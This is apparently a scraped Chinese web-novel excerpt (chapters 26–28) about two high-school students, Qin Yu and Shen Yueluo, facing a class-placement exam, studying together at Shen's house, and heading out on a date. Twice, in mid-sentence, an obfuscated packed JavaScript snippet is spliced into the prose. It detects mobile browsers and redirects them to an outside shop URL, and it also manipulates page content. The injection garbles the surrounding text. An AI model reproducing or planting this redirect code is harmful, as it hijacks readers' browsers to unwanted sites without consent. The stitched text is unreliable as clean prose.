他会继续守护着秦玉,用他的方式,一点点靠近,直到有一天,他能鼓起勇气,告诉秦玉自己的心意…… 九月中旬的燥热还没散去,但在这个下午,两颗年轻的心,却因为彼此的存在,变得格外温暖。 那些未说出口的情愫,等待绽放…… 26. 即将分班月考 两天后的大课间,北华七中一贯的喧闹被广播里突然插播的通知掐断…… 而秦玉抱着一沓刚收齐的学生会活动申请表,走在队伍里,后背的校服又被闷出了一小块汗渍,贴在皮肤上,黏得人有些烦躁。 他抬手擦了擦额角的汗,目光下意识地往斜后方扫了一眼——沈月落正单手插在裤兜里,慢悠悠地跟着人流走,校服外套松松垮垮地搭在肩上,阳光落在他的发梢上,镀上一层浅浅的金色。 但明明是和所有人一样的步伐,却偏生带着点漫不经心的劲儿,惹得旁边几个女生偷偷往他这边看,低声议论着什么,眼神里藏不住雀跃…… 秦玉的心跳莫名漏了一拍,赶紧收回目光,低头盯着手里的申请表,指尖无意识地摩挲着纸页边缘。 自从那天发情期的意外之后,他和沈月落之间的气氛就变得有些不一样了。沈月落还是会规规矩矩地叫他“秦同学”,语气里的尊重一分没少,却多了些说不清道不明的细节——比如会在他埋头写学生会策划案的时候,悄悄把自己桌上的小风扇往他这边挪半格,让凉风吹得更均匀些;比如会在他熬夜整理文件后,第二天早上默默在他桌角放一瓶温凉的电解质水,标签都撕得干干净净;比如会在他不小心打翻水杯时,比他先一步递过来纸巾,指尖不经意擦过他的手背,那微凉的触感像电流似的,能让他的心跳乱上大半天,却又只能装作若无其事地移开视线…… 他不懂……就只当是友情吧…… 两人一前一后走进教室,刚各自落座,教室门口就传来了一阵沉稳的脚步声。 不同于其他老师的急促,这脚步声不急不缓,带着一种莫名的威严…… 秦玉抬头望去,只见班主任江涛正站在门口,手里抱着一摞教案和几张打印纸…… “都坐好,占用大家十分钟时间,说件重要的事。”江涛的声音浑厚有力,不用麦克风也能清晰地传到教室每个角落。 原本还在小声嘀咕的学生们瞬间安静下来,纷纷坐直了身体…… 他迈步走上讲台,将教案和打印纸放在桌上,动作从容不迫,自带一种久居上位的沉稳气场。 秦玉下意识地坐得更直了些,作为学生会会长,他向来对学校领导的通知格外上心。 他的目光不经意间扫过身旁的沈月落,对方依旧是那副漫不经心的样子,单手撑着下巴,另一只手拿着笔在草稿纸上随意涂鸦,看起来像是没把江涛的话放在心上。但过了不到一分钟,秦玉注意到,他的笔尖停顿了一下,眼神也微微往讲台方向偏了偏,显然是在认真听着…… “国庆假期结束后,全校统一进行月考。”江涛开门见山,目光扫过全场,“这次考试和以往不同,是新学期的分班考。考完之后,全校所有年级都会重新打乱分班,重点班、平行班的划分,完全依据这次的考试成绩排名。” “分班考?” “这么快就分班了?才开学一个月啊!” “那岂不是连考场都要重新分?不能在自己班里考了?” 教室里瞬间炸开了锅,议论声此起彼伏,不少学生脸上都露出了惊讶和焦虑的神色。 前排的章以青皱着眉转头和同桌嘀咕:“完了,我好多知识点还没复习呢,这下肯定进不了重点班了……”旁边几个男生也跟着叹气,体测的疲惫还没完全消散,又迎来这么重要的考试,实在让人有些吃不消。 秦玉心里也咯噔一下,手里的活动申请表差点没拿稳…… 分班考意味着考场会按照成绩或随机分配,他和沈月落是同桌,可根据他的成绩……这下子,大概率是要被分到不同的地方了。 这个念头刚冒出来,他就觉得心里空落落的,像是少了点什么。 他已经习惯了自习课上能听到身边人笔尖划过纸张的沙沙声,习惯了遇到难题时转头就能看到沈月落专注的侧脸,习惯了两人之间那种无需言说的默契——比如他抬一下手,沈月落就知道他要拿橡皮,悄悄推到他手边;比如沈月落皱眉的时候,他就知道对方是卡在了哪道题上,会默默在草稿纸上写下提示…… 要是不在同一个考场,这三天的考试,恐怕会格外难熬…… 秦玉的指尖微微收紧,指甲嵌进掌心,带来一阵轻微的刺痛,让他稍微回过神来。 他偷偷抬眼看向沈月落,对方脸上没什么明显的表情,只是原本随意涂鸦的笔尖停住了,眉头轻轻蹙了一下,随即又松开,恢复了那副淡然的样子…… 但他的内心却跟实际不符:啊啊啊!!怎么这么快就考试了!!我们好不容易关系密切了一点!呜呜呜……就我那狗屎般的成绩,百分之九十九要跟老婆分开了……呜呜呜。 “安静。”江涛敲了敲讲台,教室里的议论声很快就平息了下去。 “考场安排表和座位号,我已经让各班班主任打印好了,等会儿会贴在教室门口,大家记得仔细看清楚,记好自己的考场楼层和座位号,考试当天提前十分钟入场,不准迟到。” 他顿了顿,继续说道:“这次考试严格按照高考标准执行,禁止携带手机、智能手表等电子设备,禁止传纸条、交头接耳,一旦发现作弊,直接记过处分,取消本次考试成绩,并且失去进入重点班的资格。我希望大家都能凭自己的实力答题,考出真实水平……” 江涛的目光锐利,扫过全场时,不少学生都下意识地低下头,不敢与他对视。 他虽然看起来温和,但在纪律方面向来严格,学校里没人敢在他面前耍小聪明。 “重点班的名额有限,每个年级两个班,每班四十五人,竞争会比较激烈。”江涛的语气缓和了一些,“但大家也不用太紧张,这次考试主要是为了摸清大家的真实水平,方便后续针对性教学。不管最后分到哪个班,只要认真学习,都会有进步的空间。” 说完,他拿起桌上的打印纸,递给前排的班长:“把这些分给大家,是各科的复习重点和考试范围,好好利用这几天时间复习,争取考出好成绩。” 班长接过打印纸,开始逐一分发。教室里又恢复了安静,只剩下纸张传递的沙沙声和笔尖在纸上记录的声音。 秦玉拿到复习重点,低头快速浏览着。他的成绩一直稳居年级前列,进入重点班问题不大,但他心里想的却不是这个。 他的目光又忍不住往沈月落那边飘,对方正低头看着复习重点,眉头微蹙,似乎在琢磨着什么…… “秦同学,你看什么呢?”沈月落突然转头看过来,眼神清澈,带着一丝疑惑。 秦玉吓了一跳,赶紧收回目光,脸颊微微发烫,有些慌乱地说道:“没……没什么,就是看看复习重点。”他拿起笔,假装认真地在纸上划着,心脏却在砰砰直跳,生怕被沈月落看出自己的心思。 沈月落看了他一眼,没再多问,只是转头继续看自己的复习重点…… 教室里的学生们大多都在认真看着复习重点,偶尔有小声的讨论,也是关于知识点的请教。 秦玉定了定神,强迫自己把注意力集中在复习重点上,但脑子里却总是不由自主地想着考场分配的事情。 他不知道自己会被分到哪个考场,也不知道沈月落会在哪个地方,更不知道两人的考场距离有多远。 下课铃响了,江涛叮嘱了几句“好好复习”,便转身离开了教室。他刚一走,教室里就又热闹起来,不少学生都涌到门口去看考场安排表,叽叽喳喳地讨论着自己的考场和座位号。 秦玉也想去看看,但手里还抱着一摞没整理好的学生会活动申请表,只能先把申请表放进抽屉里,打算等会儿再去看。他刚整理好,沈月落就站了起来,说道:“秦同学,我去看看考场,要不要帮你看看?” 秦玉心里一动,连忙点头:“好,麻烦你了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163966|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “嗯。”沈月落应了一声,转身朝着门口走去。 他的步伐依旧是那副漫不经心、吊儿郎当的样子,但秦玉能感觉到,他的脚步比平时快了一些…… 秦玉坐在座位上,心里有些忐忑,既想知道结果,又有些害怕听到不好的消息。 他看着门口拥挤的人群,视线一直追随着沈月落的身影,看着他挤到公告栏前,低头认真地看着那张考场安排表。 过了一会儿,沈月落从人群里走了出来,脸上没什么明显的表情,但秦玉能感觉到,他的眼神似乎比刚才暗淡了一些。 “怎么样?”秦玉连忙问道,声音里带着一丝不易察觉的紧张。 沈月落走到他面前,低头看着他,语气平静地说道:“你在二楼的203考场,第三排靠窗的位置。我在四楼的401考场,最后一排靠门的地方。” 秦玉的心瞬间沉了下去。二楼和四楼,隔着整整两层楼,距离不算近。而且一个在靠窗的位置,一个在靠门的地方,就算想在考试间隙见一面,恐怕也不容易。 “哦,知道了,谢谢你。”秦玉的声音有些低沉,他低下头,假装整理着桌上的书本。 他自己也摸不透自己的心思,为什么会感到这么失落? 沈月落看着他,沉默了一会儿,说道:“没关系,考试的时候认真答题就好。考完试之后,我可以去找你。” 秦玉抬起头,对上沈月落的目光,对方的眼神很认真,带着一丝安抚的意味。他心里微微一暖,点了点头:“好。” 终于到了放学时间,最后几个同学也背着书包走了,只剩风扇还在头顶呼呼转着。 沈月落攥着笔的手松了又紧,直到秦玉把最后一张卷子塞进书包,他才磕磕绊绊开口:“那……秦同学,这几天你方便来我家,跟我一起复习吗……” 秦玉拉书包拉链的动作顿了顿,抬眼看向他。 沈月落的目光没敢和他对视,落在桌角那本写满红叉的数学练习册上,指尖无意识地抠着桌板,连声音都比平时低了八度。 秦玉自然知道他的成绩,上一次班主任江涛提起过的,包括之前学校张贴的成绩单,他也看到过了沈月落的名字,但沈月落的名字总在全校倒一倒二的位置徘徊不定,各科红叉刺眼得很…… 两人之间说好,秦玉是隔一天去一次,但想要沈月落的成绩可以在短时间内进步,这几天必须不间断的辅导他。 在秦玉两秒的思考结束后,清冽的声音在安静的教室里漫开:“可以,那这几天我每天都会给你辅导,我们一起复习。但我需要在你家住了,你看方便吗?” “当然方便!”沈月落回答的很干脆,但他也没想到,上天还降这么好的事情,这是他梦寐以求的,他巴不得让秦玉来自己家生活,两个人每天都在一起。 他喉结滚了滚,嘴角忍不住往上扬,又赶紧压下去,“那……这几天放学,咱们还一起回家?” “嗯。”秦玉点点头。 “那……从什么时候开始。” “今天。” “?”沈月落愣了愣,他像是没料到会这么快,眼里瞬间涌起点亮闪闪的光,快得让人抓不住。 他连忙点头,指尖在手机上飞快敲打,发信息让司机师傅不用过来了。 看似他在给司机师傅发信息,实际上心里面又在开心的跳舞:虽然要分班考试,但是最近几天都可以跟老婆在一起!!!!我要加油!我要努力!! 沈月落把手机放进书包,他强压住上扬的嘴角,问道:“那我们走吧?” 秦玉“嗯”了一声,算是应下,转身时脚步顿了顿,耳尖在夕阳下泛着一层极淡的红。 “收拾好东西就走。”他丢下这句话,径直往门口走去,背影挺拔,却莫名透着点不易察觉的仓促…… 跟上次一样,但似乎又不一样…… 27. 复习 夕阳的余晖将北华七中的走廊染成暖金色,秦玉背着书包,沈月落先他一步,走出教室。 他单手插在裤兜里,看着还是漫不经心的样子,却总能精准避开拥挤的人群,悄悄为秦玉留出顺畅的通路,偶尔转头瞥一眼,确认他跟上了,才继续往前走。 “我爸他们……这几天还在外面,”沈月落的声音比平时低了些,目光落在前方的柏油路上,“阿姨每天下午会来准备三餐,热一下就能吃,你的那份我让她按上次的口味做了。” 秦玉“嗯”了一声,脚步没停。上次来沈月落家时,他已经熟悉了这栋别墅的布局——踩上去会发出轻微咯吱声的木质地板,二楼采光极好的书房。这次再来,少了初见时的陌生,多了几分无需言说的熟稔。 走进别墅,沈月落把两人的书包放在玄关的柜子上,弯腰从鞋柜里拿出那双全新的白色拖鞋,摆到秦玉面前——还是上次他穿的那双,被仔细收在了最显眼的位置。 “直接去书房吧,”沈月落的声音在空旷的客厅里回荡,“我早上把桌子擦干净了,你的笔记和我的练习册都摆好了。” 秦玉点点头,跟着他走上二楼。 书房的阳光依旧充足,透过巨大的落地窗洒在木质地板上,映出斑驳的光影。 沈月落的书桌收拾得整整齐齐,左边是秦玉上次给他整理的各科知识点笔记,右边是那本写满红叉的数学练习册,中间特意留出了宽敞的位置,显然是给秦玉准备的。 “先从数学开始,”秦玉走到书桌旁坐下,翻开自己的笔记本,指尖划过二次函数章节,“你这部分错题最多,先把基础公式和题型吃透,再练综合题。” 沈月落点了点头,拿起笔,却没立刻动笔,只是侧头看着秦玉的笔记本。秦玉的字工整清秀,重点内容用红笔标注,公式旁边还画了简单的示意图,一目了然。 沈月落的目光从笔记上移到秦玉的脸上,他的睫毛很长,阳光落在上面泛着淡淡的光泽,认真的样子格外好看,看得沈月落自己都没察觉,耳尖悄悄红了。 “看什么?”秦玉察觉到他的视线,抬头看了他一眼。 “没、没什么,”沈月落赶紧收回目光,笔尖在草稿纸上胡乱划了两下,掩饰着慌乱,“秦同学,你再讲一遍顶点式公式,我好像又记混了。” 秦玉无奈地叹了口气,拿起笔在草稿纸上写下“y=a(x-h)2+k”,声音清冽:“记住,(h,k)是顶点坐标,h的符号不能错,和之前学的对称轴公式x=-b/2a是对应的。再记错,就把这个公式抄三十遍,抄到记住为止。” “三十遍?”沈月落皱起脸,看起来有些不情愿,但还是乖乖点头,“知道了,秦同学。” 他低头认真地把公式抄在草稿纸上,抄完后又默写了五遍,逐字核对确认没记错,才抬头看向秦玉:“现在可以做题了吗?” 秦玉把一道基础题型推到他面前:“先做这道,步骤写清楚,不许跳步。遇到卡壳的地方先标记出来,等做完再一起问我。” 沈月落拿起笔,眉头紧紧皱着,笔尖在草稿纸上停顿了好几次,才慢慢写下解题步骤。 秦玉坐在一旁,没说话,只是安静地看着他。沈月落的字不算丑,只是有些潦草,带着点张扬的劲儿,和他本人的性格很像。遇到难题时,他会下意识地咬着笔尖,眉头皱得更紧,手指无意识地敲击桌面,像是在跟题目较劲。 “这里错了,”秦玉在他写完第二步后开口,指尖轻轻点在草稿纸上,“顶点坐标找错了,h是-3,不是3,所以对称轴应该是x=-3,代入公式的时候符号别弄混。” 温热的指尖离得极近,几乎要碰到沈月落的手背。 沈月落的身体微微一僵,耳尖瞬间红得更厉害了,连忙拿起橡皮擦掉错误的地方,低头重新计算,连声音都低了些:“知道了,秦同学。” 真的不知道他到底在害羞什么…… 秦玉的目光落在他泛红的耳尖上,心里莫名有些柔软,语气也放轻了些:“别急,一步一步来,先确认顶点坐标,再代入公式,仔细核对每一步的符号。” 沈月落“嗯”了一声,这次放慢了速度,每一步都反复检查,终于算出了正确答案。看着练习册上难得出现的对勾,沈月落的眼睛瞬间亮了起来,像个得到表扬的孩子,抬头看向秦玉时,嘴角还带着藏不住的笑意:“秦同学,我做对了!” “嗯,”秦玉的嘴角也忍不住微微上扬,“这道题的思路记住了?下次再遇到类似的,不许再错。” “记住了!”沈月落用力点头,心里甜滋滋的。他发现,原来做出一道数学题也能这么有成就感,尤其是在秦玉面前,这种感觉更加强烈。 接下来的三个小时,书房里只剩下笔尖划过纸张的沙沙声和偶尔的低声交谈。秦玉讲题很有耐心,一道题会换几种思路讲解,直到沈月落听懂为止。沈月落虽然基础差,但脑子并不笨,只是以前没把心思放在学习上,这会儿被秦玉盯着,倒也学得格外认真。 遇到几何题,秦玉会拿起尺子在草稿纸上画图,沈月落就凑得更近,肩膀几乎贴在一起,呼吸偶尔会扫过秦玉的脖颈,让秦玉的身体微微僵硬,耳尖也泛起淡淡的红晕,却依旧耐心地继续讲解。 “休息会儿吧,”秦玉看了眼手表,已经快七点了,“吃点东西再继续复习。” 沈月落点了点头,伸了个懒腰,骨头发出轻微的声响。他站起身,活动了一下僵硬的脖子:“我去热饭,阿姨做了你爱吃的糖醋排骨和清炒时蔬,还有我爱吃的可乐鸡翅。” 秦玉愣了一下,他从没跟沈月落说过自己爱吃什么。沈月落似乎察觉到他的疑惑,挠了挠头,耳尖又红了,有些不自然地说道:“上次你过来,看你吃这两个菜吃得挺多,就记住了。” 秦玉的心里微微一暖,脸上也泛起淡淡的红晕,没说话,只是跟着他走出书房。下楼时,沈月落走在前面,脚步放得很慢,刻意照顾着秦玉的步伐,生怕他跟不上。 餐厅里的长桌擦得一尘不染,沈月落从冰箱里拿出菜,放进微波炉里加热。不一会儿,香气就弥漫了整个餐厅,糖醋排骨的酸甜味、清炒时蔬的清香味,还有可乐鸡翅的浓郁香味,混合在一起,让人食欲大开。 “尝尝看,”沈月落把热好的菜端到桌上,小心翼翼地把糖醋排骨往秦玉面前推了推,“阿姨的手艺还不错,你多吃点。” 秦玉拿起筷子,夹了一块排骨放进嘴里,酸甜适中,肉质鲜嫩,确实很好吃。他点了点头,脸颊依旧带着淡淡的红晕:“很好吃,谢谢。” “不用谢,”沈月落的脸上露出笑容,也拿起筷子,不停地给秦玉夹菜,把他的碗堆得满满当当,“你太瘦了,复习费脑子,得多补补。” 秦玉看着碗里堆积如山的菜,有些无奈,却又不忍心拒绝,只能慢慢吃着。两人安静地吃着晚饭,偶尔有筷子碰撞的声音,气氛温馨又带着点说不清的暧昧。沈月落的目光总是不自觉地落在秦玉身上,看着他小口吃饭、脸颊泛着红晕的样子,自己的心跳也悄悄加快,耳尖一直保持着淡淡的红色。 晚饭过后,两人休息了半小时,又回到书房继续复习。晚上的重点是英语,沈月落的英语基础差得离谱,单词几乎不认识几个,语法更是一塌糊涂。秦玉从最基础的单词开始教他,拿着单词卡,一个一个地教他读、教他拼写。 “这个单词是‘difficult’,困难的意思,发音是/?d?f?k?lt/,跟我读。”秦玉拿着单词卡,认真地教着,脸颊还残留着刚才的红晕。 “difficult……/?d?f?k?lt/……”沈月落跟着他读,发音有些生硬,但很认真。他的声音低沉好听,读英语的时候带着一种独特的韵味,让秦玉的心跳莫名快了半拍,脸颊的红晕又深了些。 教完单词,秦玉又给沈月落讲解了基础语法,然后让他做了几道单选题。沈月落盯着题目看了半天,还是一脸茫然,只能抬头看向秦玉,眼神带着点求助,耳尖红红的:“秦同学,这个题选什么啊?我看不懂题目意思。” 秦玉无奈地叹了口气,拿起笔,把题目中的关键词圈出来,逐字逐句地翻译给他听:“这句话的意思是‘学好英语对我们来说很难’,‘it’s+形容词+forsb.todosth.’是固定句型,所以选B。” “哦,原来是这样,”沈月落恍然大悟,拿起笔在答题卡上填了B,看着秦玉的眼神里满是崇拜,“秦同学,你讲得真清楚,比老师讲的好懂多了。” 秦玉的脸颊更红了,有些不好意思地低下头,整理着知识点:“老师讲的是整体,你基础太差,得循序渐进。” “不管怎么说,还是你厉害,”沈月落看着他泛红的侧脸,心里暖暖的,“秦同学,有你辅导我,我肯定能进步。” 秦玉没接话,只是耳尖红得更厉害了,手里的笔却没停,依旧认真地整理着下一个知识点。 他能感觉到沈月落的真诚,也知道他这几天确实很努力,从一开始的上课睡觉,到现在主动学习,沈月落的改变,他都看在眼里,心里也莫名多了些不一样的感觉,却只当是兄弟间的在意。 复习一直持续到深夜十一点,秦玉打了个哈欠,揉了揉有些酸涩的眼睛,脸颊的红晕也渐渐褪去,只剩下淡淡的疲惫:“今天就到这儿吧,太晚了,该休息了。你把今天学的单词再背一遍,明天我抽查。” “好,”沈月落点了点头,看着秦玉起身往客房走去,心里有些失落,犹豫了一会儿,还是忍不住跟了上去。 客房的门没关严,秦玉正弯腰整理床铺。房间里的灯光很柔和,洒在他身上,勾勒出挺拔的背影,发丝被灯光染成浅棕色,看起来格外温柔。沈月落站在门口,看着他的背影,喉结滚了滚,鼓起勇气开口:“秦同学。” 秦玉直起身,转头看他:“怎么了?还有事吗?” “那个……”沈月落的目光有些闪躲,落在房间的木质地板上,耳尖红红的,“客房的空调好像坏了,我刚才听阿姨说的,还没来得及修。” 秦玉皱了皱眉:“不会吧,我刚才进来的时候,感觉挺凉快的。” “可能是我记错了?”沈月落挠了挠头,眼神带着点委屈,又有些期待,耳尖红得更厉害了,“不过我房间的空调肯定是好的,而且床很大,要不……你跟我一起睡?这样晚上我有不懂的题,还能随时问你。” 秦玉的脸颊瞬间红了,下意识地想拒绝:“不用了,我……” “秦同学,我一个人睡有点不习惯,”沈月落上前一步,离他更近了些,身上的薄荷味轻轻笼罩过来,语气带着点死皮赖脸的意味,眼神却格外认真,“而且我们明天还要早起复习,一起睡也方便,我保证不打扰你,就安安静静躺着。” 秦玉看着他泛红的耳尖和带着期待的眼神,心里有些无奈,却又拒绝不了。他知道沈月落的性格,认定的事情就会坚持,更何况只是睡在一张床上,作为兄弟,好像也没什么不妥。 秦玉的脸颊依旧红着,沉默了几秒,还是点了点头:“好吧,但你不许乱动,也不许熬夜玩手机。” “放心吧,秦同学!”沈月落的眼睛瞬间亮了起来,嘴角忍不住上扬,耳尖的红色却没褪去,“我保证乖乖睡觉,有不懂的题也等明天再问你。” 走进沈月落的房间,一股淡淡的雪松味扑面而来,和上次来时一样。房间里的摆设没什么变化,一张巨大的双人床靠在墙边,床头挂着一幅星空图,旁边是开放式衣柜和书桌。 秦玉走到床的外侧躺下,背对着沈月落,身体有些僵硬,脸颊依旧泛着淡淡的红晕。 沈月落躺在床的内侧,看着他紧绷的背影,心里有些紧张,却又莫名觉得安心。他没有立刻说话,只是安静地躺着,能清晰地听到身边人的呼吸声,还有自己越来越快的心跳声,耳尖一直红着。 过了一会儿,秦玉感觉到身后的人轻轻挪了过来,温热的气息拂在他的后颈上,让他的身体微微一僵,心跳也莫名加快了些。“秦同学,你睡着了吗?”沈月落的声音很低,带着一丝试探。 秦玉没说话,只是闭着眼睛,假装睡着了。他能感觉到自己的心跳快得像是要跳出来,脸颊也烫得厉害,连带着呼吸都有些急促。 沈月落犹豫了一会儿,没再说话,只是保持着这个姿势,安静地躺着。他能闻到秦玉身上淡淡的皂角味,混合着阳光的气息,让人安心。就这样躺着,听着身边人的呼吸声,沈月落的嘴角忍不住微微上扬,心里暖暖的,不知不觉就睡着了。 秦玉直到听到身后均匀的呼吸声,才悄悄松了口气,身体也渐渐放松下来。他能感觉到身边人的存在,心里莫名觉得踏实,渐渐也进入了梦乡。 第二天早上,秦玉是被阳光晒醒的。他睁开眼睛,发现自己依旧背对着沈月落,而沈月落的胳膊不知何时搭在了他的腰上,动作很轻,却让秦玉的身体瞬间僵硬,脸颊瞬间红透了。他小心翼翼地想把沈月落的胳膊挪开,却没想到沈月落刚好醒了过来。 “早啊,秦同学。”沈月落的声音带着刚睡醒的沙哑,眼神还有些朦胧,看到自己的胳膊搭在秦玉腰上,耳尖瞬间红了,连忙把胳膊收了回来,有些不好意思地说道,“对不起啊,秦同学,我不是故意的,可能是睡觉不老实。” “没、没关系。”秦玉的声音有些不自然,赶紧从床上坐起身,脸颊依旧红得厉害,“该起床了,还要复习。” 沈月落看着他泛红的脸颊,自己的耳尖也红着,连忙点头:“好,我这就起来。” 两人洗漱完,下楼吃了早餐。早餐是阿姨准备的三明治、牛奶和煎蛋,简单却营养。吃完早餐,他们又回到书房开始复习。 今天的复习重点是物理,沈月落的物理比数学和英语稍微好一点,但也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163967|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是相对而言,离及格线还很远。秦玉从牛顿运动定律开始,一点点给他讲解知识点,然后让他做练习题。 “这道题是关于牛顿第二定律的,”秦玉指着题目,“F=ma,力等于质量乘以加速度,注意单位统一,质量用千克,加速度用米每二次方秒,力的单位是牛顿。” 沈月落皱着眉,盯着题目看了半天:“秦同学,这个公式我记不住,太多了,容易混。” “我给你整理了重点公式,”秦玉从笔记本里抽出一张纸,递给她,“把这些公式背下来,每个公式后面都有对应的例题和适用场景,你可以对照着看,更容易记住。” 沈月落接过纸,上面的公式被秦玉整理得很清晰,字迹工整,重点内容用红笔标注。 他看着纸上的字迹,心里暖暖的,耳尖又红了,认真地把公式读了几遍,然后开始默写。 秦玉坐在一旁,看着他认真背书的样子,心里有些感慨。 他发现,沈月落其实并不是一个坏孩子,只是性格有些叛逆,缺乏正确的引导。如果他能一直这样认真学习,成绩肯定会慢慢赶上来的。 中午吃饭的时候,沈月落突然说道:“秦同学,下午我们去花园里复习吧?书房里待久了,有点闷。” 秦玉想了想,点了点头:“好啊。” 下午,两人搬了两张椅子和一张小桌子,来到花园里。花园里的月季开得正盛,五颜六色,香气扑鼻。阳光透过树叶的缝隙洒下来,形成斑驳的光影,微风拂过,带来阵阵清凉。 “这里环境真好,”秦玉深吸了一口气,感受着大自然的气息,心情也变得舒畅起来,“比书房里舒服多了。” “喜欢的话,以后可以常来,”沈月落看着他,眼神温柔,耳尖带着淡淡的红色,“等我爸他们回来,让他们再多种点你喜欢的花。” 秦玉的脸颊瞬间红了,连忙低下头,假装整理复习资料,声音也低了些:“不用麻烦了,这样就很好。” 沈月落看着他泛红的脸颊,自己的耳尖也红得更厉害了,没再多说,只是拿起练习册,认真地看了起来。 两人坐在花园里,一边感受着微风和阳光,一边复习着功课。沈月落的状态依旧很好,不仅认真听秦玉讲题,还主动提出了很多问题。秦玉也很有耐心,一一为他解答。 遇到难题时,沈月会下意识地凑近秦玉,两人的肩膀紧紧贴在一起,秦玉会低头在草稿纸上一步步演算,声音放得很低,只有两人能听到。 偶尔有蝴蝶从他们身边飞过,停在花朵上,沈月落会停下笔,看着蝴蝶发呆,秦玉也不催他,只是安静地等着,直到他回过神来,继续听讲。 “秦同学,你看这道题,”沈月落指着一道物理题,耳尖红红的,“我是不是应该用这个公式?” 秦玉凑过去看了眼,点了点头,脸颊也带着淡淡的红晕:“对,不过这里要注意摩擦力,题目里说忽略空气阻力,但没说忽略摩擦力,所以要加上摩擦力的大小,再代入公式计算。” “哦,知道了,”沈月落赶紧拿起笔,把摩擦力的数值加上,重新计算,看着秦玉的眼神里满是感激,“秦同学,你真厉害,这么细节都能注意到。” 秦玉的脸颊更红了,有些不好意思地说道:“这些都是基础,做题的时候多注意就行。” 沈月落看着他泛红的侧脸,嘴角忍不住微微上扬,心里暖暖的。他觉得,和秦玉这样一起复习,真好,哪怕只是坐着不说一句话,也觉得很安心。 晚上,沈月落又故技重施,以客房空调坏了为由,让秦玉跟他一起睡。秦玉虽然有些无奈,但还是答应了。这一次,他没有那么僵硬了,只是躺在床的外侧,背对着沈月落,脸颊依旧泛着淡淡的红晕。 “秦同学,你说我能学好物理吗?”沈月落的声音在他耳边响起,带着一丝不确定,还有点小心翼翼。 秦玉转过身,面对着他,认真地说道:“当然能,你很聪明,只是以前没用心。只要你继续保持这几天的状态,肯定能学好。” 沈月落看着他认真的眼神,心里充满了力量,耳尖红红的:“嗯!我一定努力,不会让你失望的,秦同学。” 他没有再做多余的动作,只是安静地躺着,和秦玉保持着一定的距离,却能清晰地感受到身边人的气息。秦玉也没再说话,只是闭上眼睛,心里却莫名觉得踏实。 接下来的几天,两人依旧每天一起复习,感情也在不知不觉中升温。 沈月落的成绩进步越来越明显,秦玉也越来越喜欢和他待在一起。他们一起在书房里刷题,一起在花园里背书,一起在餐桌上吃饭,一起在同一张床上睡觉,像一对形影不离的兄弟。 秦玉会在沈月落背书累了的时候,给他递上一杯温凉的水;会在他做题遇到瓶颈的时候,耐心地开导他;会在他熬夜复习的时候,陪着他一起,哪怕自己已经复习完了,也会坐在旁边看书,默默陪着他。 沈月落会在秦玉低头写题的时候,悄悄把风扇往他那边挪半格;会在他不小心打翻水杯的时候,比他先一步递上纸巾;会在他累得趴在桌上睡着的时候,轻轻给他盖上毯子,然后坐在旁边,安静地看着他的睡颜,耳尖一直泛着淡淡的红色。 这天晚上,秦玉给沈月落讲解完一道数学难题,已经快十二点了。他打了个哈欠,揉了揉有些酸涩的眼睛:“今天就到这儿吧,太晚了,该休息了。” “嗯,”沈月落点了点头,看着秦玉起身往客房走去,心里有些不舍,“秦同学,明天我们复习化学吧?我化学也很差。” “好,”秦玉回头看了他一眼,脸颊带着淡淡的红晕,嘴角带着浅浅的笑意,“明天我给你讲化学方程式。” 沈月落看着他的背影,心里暖暖的,耳尖红红的,在心里暗暗发誓,一定要好好学习,不辜负秦玉的期望,争取能和他一起进重点班,继续留在他身边,做最好的兄弟。 秦玉回到客房,刚整理好床铺,就听到门口传来轻轻的脚步声。他转头一看,只见沈月落站在门口,手里拿着一条毯子,耳尖红红的,眼神带着点委屈:“秦同学,我还是睡不着,你让我跟你一起睡吧,我保证不打扰你,就安安静静躺着。” 秦玉看着他可怜兮兮的样子,心里有些无奈,却又拒绝不了。他点了点头,脸颊依旧红着:“进来吧。” 沈月落的眼睛瞬间亮了起来,快步走进房间,把毯子放在床上,然后躺在秦玉的身边。他没有靠近,只是安静地躺着,感受着身边人的气息,心里踏实又温暖。 秦玉能感觉到身边人的存在,心跳莫名快了些,脸颊也烫了些,却没有排斥。他闭上眼睛,听着身边人的呼吸声,渐渐进入了梦乡。 窗外的月光温柔,别墅里一片寂静,只有两人均匀的呼吸声,在深夜里交织在一起,格外温馨。他们的复习时光还在继续,这段未明心意的情感,变得越来越深厚…… 28. 呃……情敌? 又是林升………… 国庆假期的第二天,沈月落对着镜子扯了扯身上的黑色连帽衫,指尖有些发紧。 前四天他几乎是抱着习题册过的,秦玉划重点的错题本被他翻得卷了边,连英语单词都硬着头皮背了五十个——不为别的,就为了能顺理成章地约秦玉出来。 “秦同学,”他站在玄关等秦玉换鞋,声音比平时稳了些,却还是忍不住频频看向门口,“电影票订的下午两点,是你之前提过的那部悬疑片,场次刚好避开人流。” 秦玉背着书包走出来,白色衬衫的袖口挽到小臂,露出一截白皙的手腕。他闻言点了点头,目光落在沈月落身上时,微微顿了顿:“你今天……没穿校服。” 沈月落耳尖倏地红了,手不自觉地摸了摸帽檐:“放假嘛,穿得舒服点。”其实他翻了半衣柜,最后还是选了这件最显利落的,甚至特意让阿姨把鞋子擦得锃亮——他不想让秦玉觉得,自己永远是那个吊儿郎当的校霸。 